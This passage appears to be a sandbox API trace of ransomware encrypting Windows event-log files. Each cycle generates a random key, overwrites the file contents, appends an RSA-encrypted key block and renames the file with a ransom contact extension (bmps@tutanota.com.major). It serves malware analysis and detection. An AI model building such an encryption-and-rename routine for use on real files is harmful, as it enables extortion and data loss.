HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca58 | out: hHeap=0x570000) returned 1 [0126.547] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b53a0 | out: hHeap=0x570000) returned 1 [0126.548] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b56e8 | out: hHeap=0x570000) returned 1 [0126.548] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5b5418 [0126.548] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb98 [0126.548] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0126.548] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-International%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0126.548] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5b57d8 [0126.548] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2e40f20 [0126.548] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b57d8 | out: hHeap=0x570000) returned 1 [0126.548] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0126.548] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0126.548] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0126.548] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0126.549] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0126.705] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.706] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0126.706] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0126.707] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0126.709] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0126.709] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0126.709] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0126.709] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0126.709] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0126.711] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0126.711] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5b28 [0126.711] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5b28, pcchString=0x2e3f9a8 | out: pszString="q+4itIK5+pVkwaFEztpiQ/p/YMi8T24q5WDvCMi6LNkvmaiWQVYDznT0SArPNi3G\nIe4nXQzyk2vxuVI27xTBRVSFN8WVeNzzEfIwP9jr5y4lflwSH1MrXMJNqq+G5+IK\nK0KG0HNg1Z0mJx6UwbKx0OCTiNLJpggiA428/FzMUTIOGEMmUaRGfqqn4/lRxmW6\nR2ZIXI9/yRZ6nIUouLsMZYxNy9hTI5LK9x3kn9VibSLCKZS7+bKzc0zFz09StZDP\nULxSZ9u1MmZj4ySzy7ysleAHb53L3i4OsBqMgqdbBvpmTPpjRMJcEL97ndzvy1TZ\nCan7cX4M5WSSzkzsBNMiQg==\n", pcchString=0x2e3f9a8) returned 1 [0126.711] WriteFile (in: hFile=0x460, lpBuffer=0x5b5b28*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5b28*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0126.711] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0126.711] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0126.711] CloseHandle (hObject=0x460) returned 1 [0126.713] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5b28 | out: hHeap=0x570000) returned 1 [0126.713] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-International%4Operational.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0126.715] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0126.715] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb98 | out: hHeap=0x570000) returned 1 [0126.715] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5418 | out: hHeap=0x570000) returned 1 [0126.715] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b52b0 | out: hHeap=0x570000) returned 1 [0126.715] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b08 [0126.715] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca58 [0126.715] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0126.715] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx", dwFileAttributes=0x80) returned 1 [0126.716] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0126.716] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2e40f20 [0126.716] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0126.716] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0126.716] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0126.716] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0126.716] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0126.716] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0126.730] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.730] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0126.730] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0126.732] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0126.734] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0126.734] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0126.734] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0126.735] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0126.735] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0126.736] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0126.736] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5b28 [0126.736] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5b28, pcchString=0x2e3f9a8 | out: pszString="1w4XQpIM1g7TIeIJ6OYr4iefuhVQXyqlhLPTXv2TKzB8MHV9MW44YWNJw80jAmtB\nwzn1fSGuTn/q3f+Hypm28oWxlX5jgZJnQsoWhAFmV3h38cm29FqnSbQDV7xIRcRG\nSbRT5CtGLEzw/DJxXdDH5owBh2sqOIQTTRQFq8M8w6TCyu5eHMF7tofT5SXa1MAd\nu/UR+084cpb1ipINykOVxRltF2COjdNByLbzV/ZyFa7ylKkSfi9PDJY67Emxz5Nr\nAbGgocKr1eoKglLUnYUM5nrKPUrb+XEHCqh3xBmz75E/mVMI5rVMGLcsOvXXmkBB\n23ZnwrUgA/odJNb5JO3MLw==\n", pcchString=0x2e3f9a8) returned 1 [0126.736] WriteFile (in: hFile=0x460, lpBuffer=0x5b5b28*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5b28*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0126.737] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0126.737] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0126.737] CloseHandle (hObject=0x460) returned 1 [0126.739] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5b28 | out: hHeap=0x570000) returned 1 [0126.739] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0126.741] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0126.741] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca58 | out: hHeap=0x570000) returned 1 [0126.741] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b08 | out: hHeap=0x570000) returned 1 [0126.741] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0126.741] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5d0118 [0126.741] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0126.741] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0126.741] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0126.742] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5d0a00 [0126.742] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2e40f20 [0126.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0a00 | out: hHeap=0x570000) returned 1 [0126.742] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0126.742] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0126.742] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0126.742] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0126.742] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0126.766] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.766] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0126.766] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0126.767] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0126.770] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0126.770] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0126.770] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0126.770] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0126.770] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0126.772] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0126.772] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5b28 [0126.772] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5b28, pcchString=0x2e3f9a8 | out: pszString="4UdKJcNur1Xd9TUl29yhE+qfzd0bZGwZfpPUMVXyPPeQNgNLDrZRbeZLkdavzo46\nNOtQqIdmzisIsLfZAPwqkuKCO9td0eyBIcqWC4hIzdeCbKrGH5Y1GWOp/NBkscZt\nPxcrvwEUXJxkAxb1HJSY4Rk/iSCqNrkyXx9eg+xqlkP75VHLaz2YAgENcGFmtyCK\nwOQcHyzpXmxX5HjeEbELXgXMDJ0TLYnXzhDA25o6vhmePs/FwkZaa/DIOvg33B81\nLXZ4sf6u+u9CApeRvj8KZnZ0//zCcvDi3psYhWUPfb+qV4f0MTVdfesDdQCOT1fL\nfrRtwan0InzN/MJvMQA5EA==\n", pcchString=0x2e3f9a8) returned 1 [0126.772] WriteFile (in: hFile=0x460, lpBuffer=0x5b5b28*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5b28*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0126.772] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0126.772] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0126.772] CloseHandle (hObject=0x460) returned 1 [0126.775] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5b28 | out: hHeap=0x570000) returned 1 [0126.775] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0126.780] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0126.780] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc828 | out: hHeap=0x570000) returned 1 [0126.780] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0118 | out: hHeap=0x570000) returned 1 [0126.780] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cde20 | out: hHeap=0x570000) returned 1 [0126.780] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cde20 [0126.780] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca58 [0126.780] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0126.780] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0126.780] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5d0118 [0126.780] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2e40f20 [0126.781] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0118 | out: hHeap=0x570000) returned 1 [0126.781] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0126.781] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0126.781] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0126.781] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0126.781] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0126.798] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.798] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0126.798] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0126.799] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0126.802] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0126.802] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0126.802] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0126.802] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0126.802] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0126.804] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0126.804] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5b28 [0126.804] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5b28, pcchString=0x2e3f9a8 | out: pszString="+m461ZiGi34xeny4Nnb0yNkSOTZqGqan6XHTmLj2VaE8vEeQj4AGFhzwIxBRexMD\nJMbfv204Ah7P80VWuZqgYCcKeLonNuVkhjL8EYsJMrmp0KxL4pQsm55gpdpBXxfo\nkQh3xxd2yU9NkCNYWAPNytQC9xiC72V50i76Jhcf8VSlhm5f19SmJMN79Hhgm/xn\nZIsFh+E+jNrUpPGa2qhxIYdSRLPAEofrbUFGx8skecBEF+WTLJUQdheYJyqCbCEd\nmIY4uzaY3nQ2kTQ+Gqls4KiD3mZnjsZf6NGtDKHLx8HxgnN+S5vrjz3aFip7tGEJ\n+3G6UjVmoxDYKYy71E13Sw==\n", pcchString=0x2e3f9a8) returned 1 [0126.804] WriteFile (in: hFile=0x460, lpBuffer=0x5b5b28*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5b28*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0126.804] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0126.804] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0126.804] CloseHandle (hObject=0x460) returned 1 [0126.807] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5b28 | out: hHeap=0x570000) returned 1 [0126.807] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0126.811] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0126.811] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca58 | out: hHeap=0x570000) returned 1 [0126.811] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cde20 | out: hHeap=0x570000) returned 1 [0126.811] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdda8 | out: hHeap=0x570000) returned 1 [0126.811] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x2e40f20 [0126.811] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca58 [0126.811] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0126.811] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0126.814] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5b5b28 [0126.814] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd6) returned 0x5b5bc0 [0126.814] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5b28 | out: hHeap=0x570000) returned 1 [0126.814] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0126.814] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0126.814] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0126.815] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0126.815] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 